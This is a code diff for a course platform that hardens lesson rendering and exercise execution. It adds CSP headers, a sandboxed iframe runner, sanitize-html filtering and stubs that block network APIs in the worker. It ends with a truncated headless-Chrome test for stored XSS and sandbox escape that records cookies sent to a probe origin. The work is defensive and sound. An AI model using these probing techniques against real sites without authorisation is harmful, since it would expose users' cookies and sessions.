||||||
|
"connect-src 'none'",
|
||||||
|
"img-src 'none'",
|
||||||
|
"style-src 'none'",
|
||||||
|
"font-src 'none'",
|
||||||
|
"media-src 'none'",
|
||||||
|
"object-src 'none'",
|
||||||
|
"base-uri 'none'",
|
||||||
|
"form-action 'none'",
|
||||||
|
"frame-ancestors 'self'",
|
||||||
|
"sandbox allow-scripts",
|
||||||
|
].join("; ");
|
||||||
|
|
||||||
|
const HTML = `<!doctype html><html><head><meta charset="utf-8"><title>Exercise runner</title></head><body><script>${FRAME_SCRIPT}</script></body></html>`;
|
||||||
|
|
||||||
|
export function runnerFrameRoutes(): Feature["routes"] {
|
||||||
|
return {
|
||||||
|
[RUNNER_FRAME_PATH]: {
|
||||||
|
GET: async () => new Response(HTML, {
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "text/html; charset=utf-8",
|
||||||
|
"Content-Security-Policy": RUNNER_FRAME_CSP,
|
||||||
|
"X-Content-Type-Options": "nosniff",
|
||||||
|
"Referrer-Policy": "no-referrer",
|
||||||
|
"Cache-Control": "no-store",
|
||||||
|
},
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
import type { HTMLBundle } from "bun";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Content-Security-Policy for the SPA document. No inline script: `script-src 'self'` only (plus, in development,
|
||||||
|
* the hashes of the inline helper scripts Bun's dev server injects). Style attributes are allowed because React
|
||||||
|
* components set them; styles cannot run script. The exercise runner frame is a same-origin URL (`frame-src
|
||||||
|
* 'self'`) with its own, stricter policy, see `runnerFrame.ts`.
|
||||||
|
*/
|
||||||
|
export function spaCsp(inlineScriptHashes: string[] = []): string {
|
||||||
|
const hashes = inlineScriptHashes.map((h) => ` '${h}'`).join("");
|
||||||
|
return [
|
||||||
|
"default-src 'self'",
|
||||||
|
`script-src 'self'${hashes}`,
|
||||||
|
"style-src 'self' 'unsafe-inline'",
|
||||||
|
"img-src 'self' data: blob: https:",
|
||||||
|
"media-src 'self' blob:",
|
||||||
|
"font-src 'self' data:",
|
||||||
|
"connect-src 'self'",
|
||||||
|
"worker-src 'self' blob:",
|
||||||
|
"frame-src 'self'",
|
||||||
|
"object-src 'none'",
|
||||||
|
"base-uri 'self'",
|
||||||
|
"form-action 'self'",
|
||||||
|
"frame-ancestors 'self'",
|
||||||
|
].join("; ");
|
||||||
|
}
|
||||||
|
|
||||||
|
/** `sha256-…` CSP sources for every inline `<script>` (no `src`) in `html`. */
|
||||||
|
export function inlineScriptHashes(html: string): string[] {
|
||||||
|
const out: string[] = [];
|
||||||
|
for (const m of html.matchAll(/<script\b(?![^>]*\bsrc\s*=)[^>]*>([\s\S]*?)<\/script>/gi)) {
|
||||||
|
out.push(`sha256-${new Bun.CryptoHasher("sha256").update(m[1]!).digest("base64")}`);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Serves the SPA (`index.html` bundle) with a CSP header. Bun.serve cannot add headers to an HTML import route,
|
||||||
|
* so the bundle is served by an internal server bound to 127.0.0.1 on a random port, and these routes proxy to
|
||||||
|
* it, adding the header to HTML responses. Phase 2 can replace this once core sets the CSP globally
|
||||||
|
* (docs/contract-requests/learner.md §5).
|
||||||
|
*/
|
||||||
|
export function spaWithCsp(indexHtml: HTMLBundle | ((req: Request) => Response | Promise<Response>), opts: { development: boolean }) {
|
||||||
|
const inner = Bun.serve({
|
||||||
|
hostname: "127.0.0.1",
|
||||||
|
port: 0,
|
||||||
|
routes: { "/*": indexHtml },
|
||||||
|
// HMR needs a websocket on the public server; it is off, and the bundle still rebuilds per request in dev.
|
||||||
|
development: opts.development ? { hmr: false, console: false } : false,
|
||||||
|
fetch: () => new Response("Not found", { status: 404 }),
|
||||||
|
});
|
||||||
|
const base = `http://127.0.0.1:${inner.port}`;
|
||||||
|
|
||||||
|
async function handle(req: Request): Promise<Response> {
|
||||||
|
const u = new URL(req.url);
|
||||||
|
const headers = new Headers(req.headers);
|
||||||
|
headers.delete("host");
|
||||||
|
headers.set("accept-encoding", "identity");
|
||||||
|
const r = await fetch(base + u.pathname + u.search, {
|
||||||
|
method: req.method, headers, body: req.method === "GET" || req.method === "HEAD" ? undefined : await req.arrayBuffer(), redirect: "manual",
|
||||||
|
});
|
||||||
|
const out = new Headers(r.headers);
|
||||||
|
out.delete("content-encoding");
|
||||||
|
out.delete("content-length");
|
||||||
|
out.delete("transfer-encoding");
|
||||||
|
if ((out.get("content-type") ?? "").includes("text/html")) {
|
||||||
|
const html = await r.text();
|
||||||
|
out.set("Content-Security-Policy", spaCsp(opts.development ? inlineScriptHashes(html) : []));
|
||||||
|
out.set("X-Content-Type-Options", "nosniff");
|
||||||
|
out.set("Referrer-Policy", "same-origin");
|
||||||
|
return new Response(html, { status: r.status, headers: out });
|
||||||
|
}
|
||||||
|
return new Response(r.body, { status: r.status, headers: out });
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
routes: { "/*": handle } as Record<string, (req: Request) => Promise<Response>>,
|
||||||
|
stop: () => inner.stop(true),
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -9,6 +9,12 @@ import { Chev } from "../icons";
|
|||||||
|
|
||||||
export const RUN_TIMEOUT_MS = 3000;
|
export const RUN_TIMEOUT_MS = 3000;
|
||||||
|
|
||||||
|
/** Text Enter inserts at `pos`: a newline plus the indentation of the line the cursor is on. */
|
||||||
|
export function newlineWithIndent(value: string, pos: number): string {
|
||||||
|
const lineStart = value.lastIndexOf("\n", pos - 1) + 1;
|
||||||
|
return "\n" + /^[ \t]*/.exec(value.slice(lineStart, pos))![0];
|
||||||
|
}
|
||||||
|
|
||||||
export function localCommandFor(cmd: LessonPayload["localCommand"], track: string | null): string | null {
|
export function localCommandFor(cmd: LessonPayload["localCommand"], track: string | null): string | null {
|
||||||
if (!cmd) return null;
|
if (!cmd) return null;
|
||||||
if (typeof cmd === "string") return cmd;
|
if (typeof cmd === "string") return cmd;
|
||||||
@@ -94,13 +100,14 @@ function BrowserExercise({ lesson, track, save, onSaved, runner }: {
|
|||||||
onChange={(e) => setCode(e.target.value)}
|
onChange={(e) => setCode(e.target.value)}
|
||||||
onScroll={(e) => { if (gutter.current) gutter.current.scrollTop = (e.target as HTMLTextAreaElement).scrollTop; }}
|
onScroll={(e) => { if (gutter.current) gutter.current.scrollTop = (e.target as HTMLTextAreaElement).scrollTop; }}
|
||||||
onKeyDown={(e) => {
|
onKeyDown={(e) => {
|
||||||
// Tab indents inside the editor; Escape leaves it so Tab moves focus again.
|
// Tab and Shift+Tab move focus as everywhere else (spec 4.1). Enter keeps the previous line's indentation.
|
||||||
if (e.key === "Tab" && !e.shiftKey && !e.ctrlKey && !e.metaKey && !e.altKey) {
|
if (e.key !== "Enter" || e.shiftKey || e.ctrlKey || e.metaKey || e.altKey || e.nativeEvent.isComposing) return;
|
||||||
e.preventDefault();
|
const t = e.currentTarget;
|
||||||
const t = e.currentTarget;
|
const insert = newlineWithIndent(t.value, t.selectionStart);
|
||||||
t.setRangeText(" ", t.selectionStart, t.selectionEnd, "end");
|
if (insert === "\n") return;
|
||||||
setCode(t.value);
|
e.preventDefault();
|
||||||
} else if (e.key === "Escape") e.currentTarget.blur();
|
t.setRangeText(insert, t.selectionStart, t.selectionEnd, "end");
|
||||||
|
setCode(t.value);
|
||||||
}}
|
}}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -1,12 +1,13 @@
|
|||||||
import { Marked, type Token, type Tokens } from "marked";
|
import { Marked, type Token, type Tokens } from "marked";
|
||||||
import { slugify } from "@stc/course-format";
|
import { slugify } from "@stc/course-format";
|
||||||
|
import sanitize, { type IOptions as SanitizeOptions } from "sanitize-html";
|
||||||
import { mediaUrl } from "../shared/types";
|
import { mediaUrl } from "../shared/types";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Lesson Markdown → HTML for the reader.
|
* Lesson Markdown → HTML for the reader.
|
||||||
*
|
*
|
||||||
* - Raw HTML is reduced to an allowlist of attribute-free tags (`details`, `summary`, `kbd`, …); every other
|
* - The rendered HTML goes through `sanitizeHtml` (sanitize-html allowlist). Raw HTML tags outside the allowlist
|
||||||
* tag is shown as text, so course files cannot inject script or styles. Link and image URLs are limited to
|
* are shown as text, so course files cannot inject script or styles. Link and image URLs are limited to
|
||||||
* http(s), mailto, in-page anchors and course-relative paths.
|
* http(s), mailto, in-page anchors and course-relative paths.
|
||||||
* - Consecutive code blocks in two or more track languages (and their bold "**Scala**" labels) form a
|
* - Consecutive code blocks in two or more track languages (and their bold "**Scala**" labels) form a
|
||||||
* variant group; only the chosen track's variant is kept. A group without that track keeps every variant.
|
* variant group; only the chosen track's variant is kept. A group without that track keeps every variant.
|
||||||
@@ -25,17 +26,54 @@ export interface RenderOptions {
|
|||||||
stripFirstHeading?: boolean;
|
stripFirstHeading?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
const ALLOWED = new Set(["details", "summary", "br", "kbd", "sub", "sup", "em", "strong", "b", "i", "u", "mark", "small", "code", "s", "del", "ins", "abbr", "hr", "p", "span", "ul", "ol", "li", "blockquote", "pre", "dl", "dt", "dd", "table", "thead", "tbody", "tr", "th", "td"]);
|
|
||||||
|
|
||||||
const escapeHtml = (s: string) => s.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """);
|
const escapeHtml = (s: string) => s.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """);
|
||||||
|
|
||||||
/** Keeps attribute-free allowlisted tags (and `<details open>`), escapes every other tag and comment. */
|
/** Tags a lesson may contain after rendering. Everything else is escaped (shown as text). */
|
||||||
|
export const ALLOWED_TAGS = [
|
||||||
|
"h1", "h2", "h3", "h4", "h5", "h6", "p", "ul", "ol", "li", "dl", "dt", "dd", "code", "pre", "a", "img",
|
||||||
|
"details", "summary", "table", "thead", "tbody", "tr", "th", "td", "blockquote", "em", "strong", "b", "i",
|
||||||
|
"s", "del", "sub", "sup", "mark", "kbd", "br", "hr", "span", "div",
|
||||||
|
];
|
||||||
|
const ALLOWED_SET = new Set(ALLOWED_TAGS);
|
||||||
|
const HEADING_ATTRS = ["id"];
|
||||||
|
|
||||||
|
const SANITIZE: SanitizeOptions = {
|
||||||
|
allowedTags: ALLOWED_TAGS,
|
||||||
|
allowedAttributes: {
|
||||||
|
h1: HEADING_ATTRS, h2: HEADING_ATTRS, h3: HEADING_ATTRS, h4: HEADING_ATTRS, h5: HEADING_ATTRS, h6: HEADING_ATTRS,
|
||||||
|
a: ["href", "title", "target", "rel"],
|
||||||
|
img: ["src", "alt", "title", "loading"],
|
||||||
|
pre: ["class", "data-lang", "data-t"],
|
||||||
|
details: ["class", "open", "data-hint", "data-group", "data-tier", "data-tiers"],
|
||||||
|
span: ["class"], div: ["class"], ol: ["start"], th: ["align"], td: ["align"],
|
||||||
|
},
|
||||||
|
allowedSchemes: ["http", "https", "mailto"],
|
||||||
|
allowedSchemesByTag: { img: ["http", "https"] },
|
||||||
|
allowedSchemesAppliedToAttributes: ["href", "src"],
|
||||||
|
allowProtocolRelative: false,
|
||||||
|
allowedClasses: { pre: ["code"], span: ["sum", "tier", "chev"], div: ["in"], details: ["fold"] },
|
||||||
|
disallowedTagsMode: "escape",
|
||||||
|
transformTags: {
|
||||||
|
// Any link that opens a new window must not get a handle on this page.
|
||||||
|
a: (tagName, attribs) => (attribs.target ? { tagName, attribs: { ...attribs, target: "_blank", rel: "noopener noreferrer" } } : { tagName, attribs }),
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The security boundary for lesson HTML: a parser-based allowlist (sanitize-html, htmlparser2) over the fully
|
||||||
|
* rendered output. Only the tags and attributes the reader needs survive; no event handlers, no style, no
|
||||||
|
* svg/math/iframe/object/embed/form; URLs are limited to http(s), mailto (links), relative paths and anchors.
|
||||||
|
*/
|
||||||
export function sanitizeHtml(html: string): string {
|
export function sanitizeHtml(html: string): string {
|
||||||
return html.replace(/<!--[\s\S]*?-->|<\/?[A-Za-z][^>]*>|<(?![A-Za-z/!])/g, (tag) => {
|
return sanitize(html, SANITIZE);
|
||||||
const m = /^<(\/?)([A-Za-z][A-Za-z0-9]*)\s*(open)?\s*(\/?)>$/.exec(tag);
|
}
|
||||||
if (m && ALLOWED.has(m[2]!.toLowerCase()) && (!m[3] || m[2]!.toLowerCase() === "details")) return tag.toLowerCase().replace(/\s*\/>$/, ">");
|
|
||||||
return escapeHtml(tag);
|
/**
|
||||||
});
|
* Escapes the `<` of raw HTML that is not an exact allowlisted lowercase tag (and of comments), so text such as
|
||||||
|
* `IO<A>` or `<Stream>` in prose stays visible. This only ever escapes; `sanitizeHtml` is still applied after.
|
||||||
|
*/
|
||||||
|
function escapeForeignTags(html: string): string {
|
||||||
|
return html.replace(/<(?=!|\/?([A-Za-z][\w-]*))(\/?)?/g, (m, name: string | undefined) => (name && ALLOWED_SET.has(name) ? m : `<${m.slice(1)}`));
|
||||||
}
|
}
|
||||||
|
|
||||||
const LANG_ALIASES: Record<string, string[]> = {
|
const LANG_ALIASES: Record<string, string[]> = {
|
||||||
@@ -101,7 +139,7 @@ export function selectTrack(tokens: Token[], tracks: { id: string; label: string
|
|||||||
}
|
}
|
||||||
|
|
||||||
const HINT = /\b(hint|nudge|stronger|near[- ]?solution|solution)\b/i;
|
const HINT = /\b(hint|nudge|stronger|near[- ]?solution|solution)\b/i;
|
||||||
const OPEN_DETAILS = /^\s*<details(\s+open)?\s*>\s*(?:<summary>([\s\S]*?)<\/summary>)?/i;
|
const OPEN_DETAILS = /^\s*<details(\s+open)?\s*>\s*(?:<summary(?:\s[^>]*)?>([\s\S]*?)<\/summary>)?/i;
|
||||||
|
|
||||||
interface FoldPlan { hint: boolean; group: string | null; tier: number; tiers: number }
|
interface FoldPlan { hint: boolean; group: string | null; tier: number; tiers: number }
|
||||||
|
|
||||||
@@ -153,7 +191,7 @@ function planFolds(tokens: Token[]): Map<Token, FoldPlan> {
|
|||||||
return plans;
|
return plans;
|
||||||
}
|
}
|
||||||
|
|
||||||
const CHEVRON = '<svg width="10" height="10" viewBox="0 0 10 10" fill="none" stroke="currentColor" stroke-width="1.6" aria-hidden="true"><path d="M3.5 2l3 3-3 3"/></svg>';
|
const CHEVRON = '<span class="chev" aria-hidden="true"></span>';
|
||||||
|
|
||||||
function dirOf(file: string | null): string {
|
function dirOf(file: string | null): string {
|
||||||
if (!file) return "";
|
if (!file) return "";
|
||||||
@@ -233,21 +271,21 @@ export function renderLessonHtml(md: string, opts: RenderOptions): string {
|
|||||||
let text = token.text;
|
let text = token.text;
|
||||||
if (plan) {
|
if (plan) {
|
||||||
const m = OPEN_DETAILS.exec(text)!;
|
const m = OPEN_DETAILS.exec(text)!;
|
||||||
const summary = sanitizeHtml(m[2] ?? (plan.hint ? "Hint" : "Details"));
|
const summary = escapeForeignTags(m[2] ?? (plan.hint ? "Hint" : "Details"));
|
||||||
const attrs = plan.hint
|
const attrs = plan.hint
|
||||||
? ` data-hint="1"${plan.group ? ` data-group="${plan.group}" data-tier="${plan.tier}" data-tiers="${plan.tiers}"` : ""}`
|
? ` data-hint="1"${plan.group ? ` data-group="${plan.group}" data-tier="${plan.tier}" data-tiers="${plan.tiers}"` : ""}`
|
||||||
: "";
|
: "";
|
||||||
const tier = plan.group ? `<span class="tier">${plan.tier} of ${plan.tiers}</span>` : "";
|
const tier = plan.group ? `<span class="tier">${plan.tier} of ${plan.tiers}</span>` : "";
|
||||||
const head = `<details class="fold"${attrs}><summary>${CHEVRON}<span class="sum">${summary}</span>${tier}</summary><div class="in">`;
|
const head = `<details class="fold"${attrs}><summary>${CHEVRON}<span class="sum">${summary}</span>${tier}</summary><div class="in">`;
|
||||||
text = head + sanitizeHtml(text.slice(m[0].length)).replace(/<\/details>/gi, "</div></details>");
|
text = head + escapeForeignTags(text.slice(m[0].length)).replace(/<\/details>/gi, "</div></details>");
|
||||||
return text;
|
return text;
|
||||||
}
|
}
|
||||||
if (/^\s*<\/details>/i.test(text)) return sanitizeHtml(text).replace(/<\/details>/i, "</div></details>");
|
if (/^\s*<\/details>/i.test(text)) return escapeForeignTags(text).replace(/<\/details>/i, "</div></details>");
|
||||||
return sanitizeHtml(text);
|
return escapeForeignTags(text);
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
marked.use({ renderer: renderer as never });
|
marked.use({ renderer: renderer as never });
|
||||||
return marked.parser(tokens) as string;
|
return sanitizeHtml(marked.parser(tokens) as string);
|
||||||
}
|
}
|
||||||
|
|
||||||
const cap = (s: string) => (s ? s[0]!.toUpperCase() + s.slice(1) : s);
|
const cap = (s: string) => (s ? s[0]!.toUpperCase() + s.slice(1) : s);
|
||||||
@@ -255,10 +293,10 @@ const cap = (s: string) => (s ? s[0]!.toUpperCase() + s.slice(1) : s);
|
|||||||
/** Exercise hints (already matched by the server) as one tier group of folds. */
|
/** Exercise hints (already matched by the server) as one tier group of folds. */
|
||||||
export function renderHintsHtml(hints: { label: string; body: string }[], opts: RenderOptions): string {
|
export function renderHintsHtml(hints: { label: string; body: string }[], opts: RenderOptions): string {
|
||||||
const n = hints.length;
|
const n = hints.length;
|
||||||
return hints.map((h, i) => {
|
return sanitizeHtml(hints.map((h, i) => {
|
||||||
const label = h.label ? cap(h.label) : `Hint ${i + 1}`;
|
const label = h.label ? cap(h.label) : `Hint ${i + 1}`;
|
||||||
const tier = n > 1 ? `<span class="tier">${i + 1} of ${n}</span>` : "";
|
const tier = n > 1 ? `<span class="tier">${i + 1} of ${n}</span>` : "";
|
||||||
const attrs = n > 1 ? ` data-hint="1" data-group="ex" data-tier="${i + 1}" data-tiers="${n}"` : ' data-hint="1"';
|
const attrs = n > 1 ? ` data-hint="1" data-group="ex" data-tier="${i + 1}" data-tiers="${n}"` : ' data-hint="1"';
|
||||||
return `<details class="fold"${attrs}><summary>${CHEVRON}<span class="sum">${escapeHtml(label)}</span>${tier}</summary><div class="in">${renderLessonHtml(h.body, opts)}</div></details>`;
|
return `<details class="fold"${attrs}><summary>${CHEVRON}<span class="sum">${escapeHtml(label)}</span>${tier}</summary><div class="in">${renderLessonHtml(h.body, opts)}</div></details>`;
|
||||||
}).join("\n");
|
}).join("\n"));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,10 +1,63 @@
|
|||||||
import type { ExerciseLanguage, ExerciseRunner, TestResult } from "@stc/contracts";
|
import type { ExerciseLanguage, ExerciseRunner, TestResult } from "@stc/contracts";
|
||||||
import { WORKER_SOURCE } from "./worker-source";
|
import { WORKER_SOURCE } from "./worker-source";
|
||||||
|
|
||||||
|
/** Where the worker runs. The browser default is a sandboxed iframe (`frameHost`); tests may pass a plain Worker. */
|
||||||
|
export interface RunnerHost {
|
||||||
|
onmessage: ((ev: { data: unknown }) => void) | null;
|
||||||
|
onerror: ((ev: { message: string; preventDefault?: () => void }) => void) | null;
|
||||||
|
postMessage(data: { code: string; tests: string }): void;
|
||||||
|
terminate(): void;
|
||||||
|
}
|
||||||
|
|
||||||
export interface RunnerOptions {
|
export interface RunnerOptions {
|
||||||
/** TypeScript → JavaScript. Defaults to the server's `POST /api/learner/transpile` (Bun.Transpiler). */
|
/** TypeScript → JavaScript. Defaults to the server's `POST /api/learner/transpile` (Bun.Transpiler). */
|
||||||
transpile?: (code: string) => Promise<string>;
|
transpile?: (code: string) => Promise<string>;
|
||||||
createWorker?: () => Worker;
|
createWorker?: () => RunnerHost | Worker;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const RUNNER_FRAME_URL = "/api/learner/runner-frame";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Runs the exercise worker inside `<iframe sandbox="allow-scripts">` (opaque origin, no cookies, CSP with
|
||||||
|
* connect-src 'none'; see src/server/runnerFrame.ts). Messages are accepted only from that frame's window, and
|
||||||
|
* `terminate()` removes the frame, which ends the worker.
|
||||||
|
*/
|
||||||
|
export function frameHost(url = RUNNER_FRAME_URL): RunnerHost {
|
||||||
|
const iframe = document.createElement("iframe");
|
||||||
|
iframe.setAttribute("sandbox", "allow-scripts");
|
||||||
|
iframe.setAttribute("aria-hidden", "true");
|
||||||
|
iframe.tabIndex = -1;
|
||||||
|
iframe.title = "Exercise runner";
|
||||||
|
iframe.style.cssText = "position:absolute;width:0;height:0;border:0;visibility:hidden";
|
||||||
|
iframe.src = url;
|
||||||
|
let ready = false;
|
||||||
|
const queue: { code: string; tests: string }[] = [];
|
||||||
|
const onMsg = (ev: MessageEvent) => {
|
||||||
|
// Only the frame's own window, and only while it is sandboxed (an opaque origin serialises as "null").
|
||||||
|
if (ev.source !== iframe.contentWindow || ev.origin !== "null") return;
|
||||||
|
const m = ev.data as { type?: string; data?: unknown; message?: string } | null;
|
||||||
|
if (!m) return;
|
||||||
|
if (m.type === "ready") {
|
||||||
|
ready = true;
|
||||||
|
for (const d of queue.splice(0)) host.postMessage(d);
|
||||||
|
} else if (m.type === "worker") host.onmessage?.({ data: m.data });
|
||||||
|
else if (m.type === "crash") host.onerror?.({ message: String(m.message ?? "The exercise worker crashed") });
|
||||||
|
};
|
||||||
|
const host: RunnerHost = {
|
||||||
|
onmessage: null,
|
||||||
|
onerror: null,
|
||||||
|
postMessage(d) {
|
||||||
|
if (ready) iframe.contentWindow?.postMessage({ type: "run", code: d.code, tests: d.tests }, "*");
|
||||||
|
else queue.push(d);
|
||||||
|
},
|
||||||
|
terminate() {
|
||||||
|
window.removeEventListener("message", onMsg);
|
||||||
|
iframe.remove();
|
||||||
|
},
|
||||||
|
};
|
||||||
|
window.addEventListener("message", onMsg);
|
||||||
|
document.body.append(iframe);
|
||||||
|
return host;
|
||||||
}
|
}
|
||||||
|
|
||||||
export async function serverTranspile(code: string): Promise<string> {
|
export async function serverTranspile(code: string): Promise<string> {
|
||||||
@@ -14,10 +67,14 @@ export async function serverTranspile(code: string): Promise<string> {
|
|||||||
return b.code;
|
return b.code;
|
||||||
}
|
}
|
||||||
|
|
||||||
const defaultWorker = () => new Worker(URL.createObjectURL(new Blob([WORKER_SOURCE], { type: "text/javascript" })), { type: "module" });
|
/** In a browser: the sandboxed frame. Elsewhere (bun test): a plain module worker. */
|
||||||
|
const defaultWorker = (): RunnerHost | Worker => (typeof document !== "undefined"
|
||||||
|
? frameHost()
|
||||||
|
: new Worker(URL.createObjectURL(new Blob([WORKER_SOURCE], { type: "text/javascript" })), { type: "module" }));
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Runs learner code against a tests module in a fresh Web Worker (never in the page), then terminates it.
|
* Runs learner code against a tests module in a fresh Web Worker (never in the page; in a browser, inside a
|
||||||
|
* sandboxed iframe), then terminates it.
|
||||||
* When `timeoutMs` passes, the worker is killed and every test without a result is reported as timed out.
|
* When `timeoutMs` passes, the worker is killed and every test without a result is reported as timed out.
|
||||||
*/
|
*/
|
||||||
export function createBrowserRunner(language: ExerciseLanguage, opts: RunnerOptions = {}): ExerciseRunner {
|
export function createBrowserRunner(language: ExerciseLanguage, opts: RunnerOptions = {}): ExerciseRunner {
|
||||||
@@ -50,7 +107,7 @@ export function createBrowserRunner(language: ExerciseLanguage, opts: RunnerOpti
|
|||||||
const rest = pending(`Timed out after ${timeoutMs} ms. Is there an endless loop?`);
|
const rest = pending(`Timed out after ${timeoutMs} ms. Is there an endless loop?`);
|
||||||
finish(rest.length ? rest : [{ name: "Timed out", passed: false, message: `No result after ${timeoutMs} ms` }]);
|
finish(rest.length ? rest : [{ name: "Timed out", passed: false, message: `No result after ${timeoutMs} ms` }]);
|
||||||
}, timeoutMs);
|
}, timeoutMs);
|
||||||
worker.onmessage = (ev: MessageEvent) => {
|
worker.onmessage = (ev: { data: unknown }) => {
|
||||||
const m = ev.data as { type: string; names?: string[]; result?: TestResult; stage?: string; message?: string };
|
const m = ev.data as { type: string; names?: string[]; result?: TestResult; stage?: string; message?: string };
|
||||||
if (m.type === "tests") names = m.names ?? [];
|
if (m.type === "tests") names = m.names ?? [];
|
||||||
else if (m.type === "result" && m.result) results.push(m.result);
|
else if (m.type === "result" && m.result) results.push(m.result);
|
||||||
@@ -62,7 +119,7 @@ export function createBrowserRunner(language: ExerciseLanguage, opts: RunnerOpti
|
|||||||
} else finish([{ name: "The tests did not load", passed: false, message: m.message }]);
|
} else finish([{ name: "The tests did not load", passed: false, message: m.message }]);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
worker.onerror = (ev: ErrorEvent) => {
|
worker.onerror = (ev: { message: string; preventDefault?: () => void }) => {
|
||||||
ev.preventDefault?.();
|
ev.preventDefault?.();
|
||||||
finish(pending(ev.message || "The exercise worker crashed"));
|
finish(pending(ev.message || "The exercise worker crashed"));
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -5,10 +5,13 @@
|
|||||||
*/
|
*/
|
||||||
export const WORKER_SOURCE = String.raw`
|
export const WORKER_SOURCE = String.raw`
|
||||||
"use strict";
|
"use strict";
|
||||||
|
// Second layer only: the worker runs inside a sandboxed, opaque-origin iframe whose CSP has connect-src 'none'
|
||||||
|
// and allows scripts only from blob: (runnerFrame.ts). These stubs give a clear message for the common cases.
|
||||||
const blocked = () => { throw new Error("Network access is turned off while exercises run"); };
|
const blocked = () => { throw new Error("Network access is turned off while exercises run"); };
|
||||||
for (const k of ["fetch", "XMLHttpRequest", "WebSocket", "EventSource", "importScripts"]) {
|
for (const k of ["fetch", "XMLHttpRequest", "WebSocket", "EventSource", "importScripts", "Worker", "SharedWorker"]) {
|
||||||
try { Object.defineProperty(self, k, { value: blocked, configurable: false, writable: false }); } catch (_) {}
|
try { Object.defineProperty(self, k, { value: blocked, configurable: false, writable: false }); } catch (_) {}
|
||||||
}
|
}
|
||||||
|
try { Object.defineProperty(self, "caches", { value: undefined, configurable: false, writable: false }); } catch (_) {}
|
||||||
|
|
||||||
class AssertionError extends Error {
|
class AssertionError extends Error {
|
||||||
constructor(message, expected, actual) { super(message); this.name = "AssertionError"; this.expected = expected; this.actual = actual; this.hasValues = arguments.length > 1; }
|
constructor(message, expected, actual) { super(message); this.name = "AssertionError"; this.expected = expected; this.actual = actual; this.hasValues = arguments.length > 1; }
|
||||||
|
|||||||
@@ -127,7 +127,9 @@ export const learnerCss = String.raw`
|
|||||||
.lr details.fold > summary { list-style: none; display: flex; align-items: center; gap: 10px; padding: 12px 2px; font: 500 14px/1.4 var(--sans); color: var(--text); cursor: pointer; }
|
.lr details.fold > summary { list-style: none; display: flex; align-items: center; gap: 10px; padding: 12px 2px; font: 500 14px/1.4 var(--sans); color: var(--text); cursor: pointer; }
|
||||||
.lr details.fold > summary::-webkit-details-marker { display: none; }
|
.lr details.fold > summary::-webkit-details-marker { display: none; }
|
||||||
.lr details.fold > summary svg { color: var(--faint); transition: transform var(--fast); flex: none; }
|
.lr details.fold > summary svg { color: var(--faint); transition: transform var(--fast); flex: none; }
|
||||||
.lr details.fold[open] > summary svg { transform: rotate(90deg); }
|
.lr details.fold[open] > summary svg, .lr details.fold[open] > summary .chev { transform: rotate(90deg); }
|
||||||
|
.lr details.fold > summary .chev { flex: none; width: 10px; height: 10px; display: grid; place-items: center; color: var(--faint); transition: transform var(--fast); }
|
||||||
|
.lr details.fold > summary .chev::before { content: ""; width: 5px; height: 5px; border-right: 1.6px solid currentColor; border-bottom: 1.6px solid currentColor; transform: translateX(-1px) rotate(-45deg); }
|
||||||
.lr details.fold > summary:hover { color: var(--head); }
|
.lr details.fold > summary:hover { color: var(--head); }
|
||||||
.lr details.fold > summary .tier { margin-left: auto; font-size: 12px; color: var(--faint); font-weight: 400; white-space: nowrap; }
|
.lr details.fold > summary .tier { margin-left: auto; font-size: 12px; color: var(--faint); font-weight: 400; white-space: nowrap; }
|
||||||
.lr details.fold[data-wait] > summary { color: var(--faint); cursor: default; }
|
.lr details.fold[data-wait] > summary { color: var(--faint); cursor: default; }
|
||||||
|
|||||||
@@ -0,0 +1,185 @@
|
|||||||
|
// Headless-Chrome checks for the two security findings (C1 stored XSS, C2 runner isolation).
|
||||||
|
// Skipped when no Chrome is installed.
|
||||||
|
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
||||||
|
import { mkdtempSync, readFileSync } from "node:fs";
|
||||||
|
import { tmpdir } from "node:os";
|
||||||
|
import { join } from "node:path";
|
||||||
|
import { connect, type Db } from "@stc/db";
|
||||||
|
import { runMigrations } from "../src/server/migrate";
|
||||||
|
import { spaCsp } from "../src/server/spa";
|
||||||
|
import { makeApp, FIXTURES } from "./app";
|
||||||
|
import { Chrome, chromePath } from "./chrome";
|
||||||
|
|
||||||
|
interface Hit { path: string; cookie: string | null }
|
||||||
|
|
||||||
|
let chrome: Chrome, db: Db, app: Bun.Server<undefined>, probe: Bun.Server<undefined>;
|
||||||
|
const hits: Hit[] = [];
|
||||||
|
let P = "", ORIGIN = "";
|
||||||
|
|
||||||
|
const run = chromePath ? describe : describe.skip;
|
||||||
|
|
||||||
|
run("browser isolation (headless Chrome)", () => {
|
||||||
|
beforeAll(async () => {
|
||||||
|
// Bundled in a separate process: Bun.build inside a full bun test run is unreliable (EISDIR on node_modules).
|
||||||
|
const out = join(mkdtempSync(join(tmpdir(), "stc-harness-")), "harness.js");
|
||||||
|
const build = Bun.spawnSync([process.execPath, "build", join(import.meta.dir, "e2e/harness.tsx"), "--target=browser", "--outfile", out], { stdout: "pipe", stderr: "pipe" });
|
||||||
|
if (build.exitCode !== 0) throw new Error(`harness build failed: ${build.stderr.toString()}`);
|
||||||
|
const js = await Bun.file(out).text();
|
||||||
|
|
||||||
|
// A separate origin that records every request (and the cookie it carried). Cookies ignore ports, so a
|
||||||
|
